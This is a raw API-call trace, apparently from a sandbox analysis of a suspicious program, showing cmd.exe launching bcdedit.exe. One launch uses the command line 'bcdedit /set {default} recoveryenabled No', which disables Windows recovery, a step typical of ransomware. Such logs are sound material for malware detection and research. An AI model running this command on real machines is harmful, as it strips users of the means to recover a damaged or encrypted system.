	[0152.294] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16
	[0152.294] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16
	[0152.294] GetProcessHeap () returned 0x460000
	[0152.294] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xb0) returned 0x47bc70
	[0152.294] GetProcessHeap () returned 0x460000
	[0152.294] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x20) returned 0x474630
	[0152.295] GetProcessHeap () returned 0x460000
	[0152.295] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x30) returned 0x476500
	[0152.298] GetConsoleTitleW (in: lpConsoleTitle=0x2af5b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0152.299] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2
	[0152.299] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3
	[0152.299] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2
	[0152.299] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18
	[0152.299] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1
	[0152.300] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1
	[0152.300] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1
	[0152.300] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16
	[0152.300] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16
	[0152.300] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3
	[0152.300] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17
	[0152.300] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14
	[0152.300] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2
	[0152.300] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18
	[0152.300] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14
	[0152.300] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11
	[0152.300] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11
	[0152.300] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16
	[0152.300] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16
	[0152.301] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14
	[0152.301] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5
	[0152.301] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17
	[0152.301] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1
	[0152.301] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1
	[0152.301] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20
	[0152.301] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20
	[0152.301] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20
	[0152.301] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3
	[0152.301] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17
	[0152.301] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3
	[0152.301] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18
	[0152.301] _wcsicmp (_String1="bcdedit", _String2="START") returned -17
	[0152.301] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2
	[0152.301] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9
	[0152.302] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11
	[0152.302] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14
	[0152.302] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14
	[0152.302] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1
	[0152.302] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4
	[0152.302] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15
	[0152.302] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1
	[0152.302] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11
	[0152.302] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2
	[0152.302] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3
	[0152.302] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2
	[0152.302] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18
	[0152.302] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1
	[0152.303] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1
	[0152.303] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1
	[0152.303] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16
	[0152.303] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16
	[0152.303] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3
	[0152.303] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17
	[0152.303] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14
	[0152.303] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2
	[0152.303] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18
	[0152.303] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14
	[0152.303] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11
	[0152.304] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11
	[0152.304] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16
	[0152.304] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16
	[0152.304] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14
	[0152.304] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5
	[0152.304] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17
	[0152.304] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1
	[0152.304] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1
	[0152.304] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20
	[0152.304] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20
	[0152.304] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20
	[0152.304] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3
	[0152.304] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17
	[0152.305] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3
	[0152.305] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18
	[0152.305] _wcsicmp (_String1="bcdedit", _String2="START") returned -17
	[0152.305] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2
	[0152.305] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9
	[0152.305] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11
	[0152.305] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14
	[0152.305] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14
	[0152.305] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1
	[0152.305] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4
	[0152.305] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15
	[0152.305] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1
	[0152.306] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11
	[0152.306] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4
	[0152.306] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7
	[0152.306] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16
	[0152.307] GetProcessHeap () returned 0x460000
	[0152.307] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x218) returned 0x47bd30
	[0152.307] GetProcessHeap () returned 0x460000
	[0152.307] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x68) returned 0x47bf50
	[0152.307] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1
	[0152.308] GetProcessHeap () returned 0x460000
	[0152.308] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x420) returned 0x461320
	[0152.308] SetErrorMode (uMode=0x0) returned 0x8001
	[0152.308] SetErrorMode (uMode=0x1) returned 0x0
	[0152.309] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x461330, lpFilePart=0x2aee40 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x2aee40*="system32") returned 0x13
	[0152.309] SetErrorMode (uMode=0x8001) returned 0x1
	[0152.309] GetProcessHeap () returned 0x460000
	[0152.309] RtlReAllocateHeap (Heap=0x460000, Flags=0x0, Ptr=0x461320, Size=0x48) returned 0x461320
	[0152.309] GetProcessHeap () returned 0x460000
	[0152.309] RtlSizeHeap (HeapHandle=0x460000, Flags=0x0, MemoryPointer=0x461320) returned 0x48
	[0152.309] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0152.310] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0152.310] GetProcessHeap () returned 0x460000
	[0152.310] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x104) returned 0x47bfc0
	[0152.310] GetProcessHeap () returned 0x460000
	[0152.310] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x1f8) returned 0x461380
	[0152.731] RtlReAllocateHeap (Heap=0x460000, Flags=0x0, Ptr=0x461380, Size=0x106) returned 0x461380
	[0152.731] GetProcessHeap () returned 0x460000
	[0152.731] RtlSizeHeap (HeapHandle=0x460000, Flags=0x0, MemoryPointer=0x461380) returned 0x106
	[0152.731] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0152.731] GetProcessHeap () returned 0x460000
	[0152.731] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xe8) returned 0x47c0d0
	[0152.732] RtlReAllocateHeap (Heap=0x460000, Flags=0x0, Ptr=0x47c0d0, Size=0x7e) returned 0x47c0d0
	[0152.732] GetProcessHeap () returned 0x460000
	[0152.732] RtlSizeHeap (HeapHandle=0x460000, Flags=0x0, MemoryPointer=0x47c0d0) returned 0x7e
	[0152.736] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0152.736] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x2aebb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2aebb0) returned 0x47c160
	[0153.041] GetProcessHeap () returned 0x460000
	[0153.042] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x0, Size=0x28) returned 0x474660
	[0153.042] FindClose (in: hFindFile=0x47c160 | out: hFindFile=0x47c160) returned 1
	[0153.042] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.COM", fInfoLevelId=0x1, lpFindFileData=0x2aebb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2aebb0) returned 0xffffffffffffffff
	[0153.042] GetLastError () returned 0x2
	[0153.043] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.EXE", fInfoLevelId=0x1, lpFindFileData=0x2aebb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2aebb0) returned 0x47c160
	[0153.043] GetProcessHeap () returned 0x460000
	[0153.043] RtlReAllocateHeap (Heap=0x460000, Flags=0x0, Ptr=0x474660, Size=0x8) returned 0x47c1c0
	[0153.043] FindClose (in: hFindFile=0x47c160 | out: hFindFile=0x47c160) returned 1
	[0153.043] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0153.043] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0153.044] GetConsoleTitleW (in: lpConsoleTitle=0x2af100, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0153.044] InitializeProcThreadAttributeList (in: lpAttributeList=0x2aeeb8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2aee78 | out: lpAttributeList=0x2aeeb8, lpSize=0x2aee78) returned 1
	[0153.044] UpdateProcThreadAttribute (in: lpAttributeList=0x2aeeb8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2aee68, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2aeeb8, lpPreviousValue=0x0) returned 1
	[0153.045] GetStartupInfoW (in: lpStartupInfo=0x2aefd0 | out: lpStartupInfo=0x2aefd0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) 
	[0153.045] lstrcmpW (lpString1="\\bcdedit.exe", lpString2="\\XCOPY.EXE") returned -1
	[0153.050] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\bcdedit.exe", lpCommandLine="bcdedit  /set {default} recoveryenabled No ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x2aeef0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bcdedit  /set {default} recoveryenabled No ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2aeea0 | out: lpCommandLine="bcdedit  /set {default} recoveryenabled No ", lpProcessInformation=0x2aeea0*(hProcess=0x54, hThread=0x50, dwProcessId=0x628, dwThreadId=0x510)) returned 1
	[0153.081] CloseHandle (hObject=0x50) returned 1
	[0153.081] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0153.081] GetProcessHeap () returned 0x460000
	[0153.081] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47ace0 | out: hHeap=0x460000) returned 1
	[0153.081] GetEnvironmentStringsW () returned 0x47ace0*
	[0153.081] GetProcessHeap () returned 0x460000
	[0153.081] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xac4) returned 0x478b10
	[0153.082] FreeEnvironmentStringsW (penv=0x47ace0) returned 1
	[0153.082] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0
	[0159.725] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2aede8 | out: lpExitCode=0x2aede8*=0x1) returned 1
	[0159.725] CloseHandle (hObject=0x54) returned 1
	[0159.725] _vsnwprintf (in: _Buffer=0x2af058, _BufferCount=0x13, _Format="%08X", _ArgList=0x2aedf8 | out: _Buffer="00000001") returned 8
	[0159.726] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000001") returned 1
	[0159.727] GetProcessHeap () returned 0x460000
	[0159.727] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x478b10 | out: hHeap=0x460000) returned 1
	[0159.727] GetEnvironmentStringsW () returned 0x478b10*
	[0159.727] GetProcessHeap () returned 0x460000
	[0159.727] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xaea) returned 0x489850
	[0159.728] FreeEnvironmentStringsW (penv=0x478b10) returned 1
	[0159.728] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0159.728] GetProcessHeap () returned 0x460000
	[0159.728] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x489850 | out: hHeap=0x460000) returned 1
	[0159.728] GetEnvironmentStringsW () returned 0x478b10*
	[0159.728] GetProcessHeap () returned 0x460000
	[0159.728] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xaea) returned 0x489850
	[0159.728] FreeEnvironmentStringsW (penv=0x478b10) returned 1
	[0159.728] GetProcessHeap () returned 0x460000
	[0159.728] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47c1e0 | out: hHeap=0x460000) returned 1
	[0159.728] DeleteProcThreadAttributeList (in: lpAttributeList=0x2aeeb8 | out: lpAttributeList=0x2aeeb8) 
	[0159.729] GetConsoleTitleW (in: lpConsoleTitle=0x2af5b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0159.730] GetProcessHeap () returned 0x460000
	[0159.731] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x218) returned 0x461860
	[0159.731] GetProcessHeap () returned 0x460000
	[0159.731] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x40) returned 0x47c160
	[0159.731] GetProcessHeap () returned 0x460000
	[0159.731] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x420) returned 0x47ace0
	[0159.731] SetErrorMode (uMode=0x0) returned 0x8001
	[0159.731] SetErrorMode (uMode=0x1) returned 0x0
	[0159.731] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x47acf0, lpFilePart=0x2aee40 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x2aee40*="system32") returned 0x13
	[0159.732] SetErrorMode (uMode=0x8001) returned 0x1
	[0159.732] GetProcessHeap () returned 0x460000
	[0159.732] RtlReAllocateHeap (Heap=0x460000, Flags=0x0, Ptr=0x47ace0, Size=0x48) returned 0x47ace0
	[0159.732] GetProcessHeap () returned 0x460000
	[0159.732] RtlSizeHeap (HeapHandle=0x460000, Flags=0x0, MemoryPointer=0x47ace0) returned 0x48
	[0159.732] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0159.732] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0159.732] GetProcessHeap () returned 0x460000
	[0159.732] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x104) returned 0x475be0
	[0159.732] GetProcessHeap () returned 0x460000
	[0159.733] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x1f8) returned 0x461a80
	[0159.733] GetProcessHeap () returned 0x460000
	[0159.733] RtlReAllocateHeap (Heap=0x460000, Flags=0x0, Ptr=0x461a80, Size=0x106) returned 0x461a80
	[0159.733] GetProcessHeap () returned 0x460000
	[0159.733] RtlSizeHeap (HeapHandle=0x460000, Flags=0x0, MemoryPointer=0x461a80) returned 0x106
	[0159.733] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a34f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0159.733] GetProcessHeap () returned 0x460000
	[0159.734] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xe8) returned 0x461ba0
	[0159.734] GetProcessHeap () returned 0x460000
	[0159.734] RtlReAllocateHeap (Heap=0x460000, Flags=0x0, Ptr=0x461ba0, Size=0x7e) returned 0x461ba0
	[0159.734] GetProcessHeap () returned 0x460000
	[0159.734] RtlSizeHeap (HeapHandle=0x460000, Flags=0x0, MemoryPointer=0x461ba0) returned 0x7e
	[0159.734] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0159.734] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x2aebb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2aebb0) returned 0x475cf0
	[0159.735] FindClose (in: hFindFile=0x475cf0 | out: hFindFile=0x475cf0) returned 1
	[0159.736] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.COM", fInfoLevelId=0x1, lpFindFileData=0x2aebb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2aebb0) returned 0xffffffffffffffff
	[0159.736] GetLastError () returned 0x2
	[0159.736] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.EXE", fInfoLevelId=0x1, lpFindFileData=0x2aebb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2aebb0) returned 0x475cf0
	[0159.737] FindClose (in: hFindFile=0x475cf0 | out: hFindFile=0x475cf0) returned 1
	[0159.737] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0159.737] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0159.737] GetConsoleTitleW (in: lpConsoleTitle=0x2af100, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0159.738] InitializeProcThreadAttributeList (in: lpAttributeList=0x2aeeb8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2aee78 | out: lpAttributeList=0x2aeeb8, lpSize=0x2aee78) returned 1
	[0159.738] UpdateProcThreadAttribute (in: lpAttributeList=0x2aeeb8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2aee68, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2aeeb8, lpPreviousValue=0x0) returned 1
	[0159.738] GetStartupInfoW (in: lpStartupInfo=0x2aefd0 | out: lpStartupInfo=0x2aefd0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) 
	[0159.738] GetProcessHeap () returned 0x460000
	[0159.738] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x20) returned 0x474690
	[0159.738] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0159.739] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38
	[0159.739] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0159.739] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0159.739] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0159.739] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0159.739] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0159.739] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0159.739] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0159.739] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0159.739] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0159.739] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0159.739] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0159.740] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0159.740] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0159.740] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0159.740] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0159.740] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0159.740] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0159.740] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0159.740] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0159.740] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0159.740] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0159.740] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0159.740] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0159.740] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0159.740] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0159.741] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0159.741] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0159.741] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0159.741] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0159.741] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0159.741] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0159.741] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0159.741] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0159.741] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0159.741] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0159.741] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0159.741] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0159.741] GetProcessHeap () returned 0x460000
	[0159.741] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x474690 | out: hHeap=0x460000) returned 1
	[0159.741] GetProcessHeap () returned 0x460000
	[0159.741] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x12) returned 0x475cf0
	[0159.742] lstrcmpW (lpString1="\\bcdedit.exe", lpString2="\\XCOPY.EXE") returned -1
	[0159.742] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\bcdedit.exe", lpCommandLine="bcdedit  /set {default}", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x2aeef0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bcdedit  /set {default}", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2aeea0 | out: lpCommandLine="bcdedit  /set {default}", lpProcessInformation=0x2aeea0*(hProcess=0x50, hThread=0x54, dwProcessId=0xa4c, dwThreadId=0x754)) returned 1
	[0159.967] CloseHandle (hObject=0x54) returned 1
	[0159.967] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0159.967] GetProcessHeap () returned 0x460000
	[0159.967] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x489850 | out: hHeap=0x460000) returned 1
	[0159.967] GetEnvironmentStringsW () returned 0x478b10*
	[0159.967] GetProcessHeap () returned 0x460000
	[0159.968] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xaea) returned 0x489850
	[0159.968] FreeEnvironmentStringsW (penv=0x478b10) returned 1
	[0159.968] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0
	[0163.354] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2aede8 | out: lpExitCode=0x2aede8*=0x1) returned 1
	[0163.354] CloseHandle (hObject=0x50) returned 1
	[0163.355] _vsnwprintf (in: _Buffer=0x2af058, _BufferCount=0x13, _Format="%08X", _ArgList=0x2aedf8 | out: _Buffer="00000001") returned 8
	[0163.355] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000001") returned 1
	[0163.355] GetProcessHeap () returned 0x460000
	[0163.355] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x489850 | out: hHeap=0x460000) returned 1
	[0163.355] GetEnvironmentStringsW () returned 0x478b10*
	[0163.355] GetProcessHeap () returned 0x460000
	[0163.355] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xaea) returned 0x489850
	[0163.355] FreeEnvironmentStringsW (penv=0x478b10) returned 1
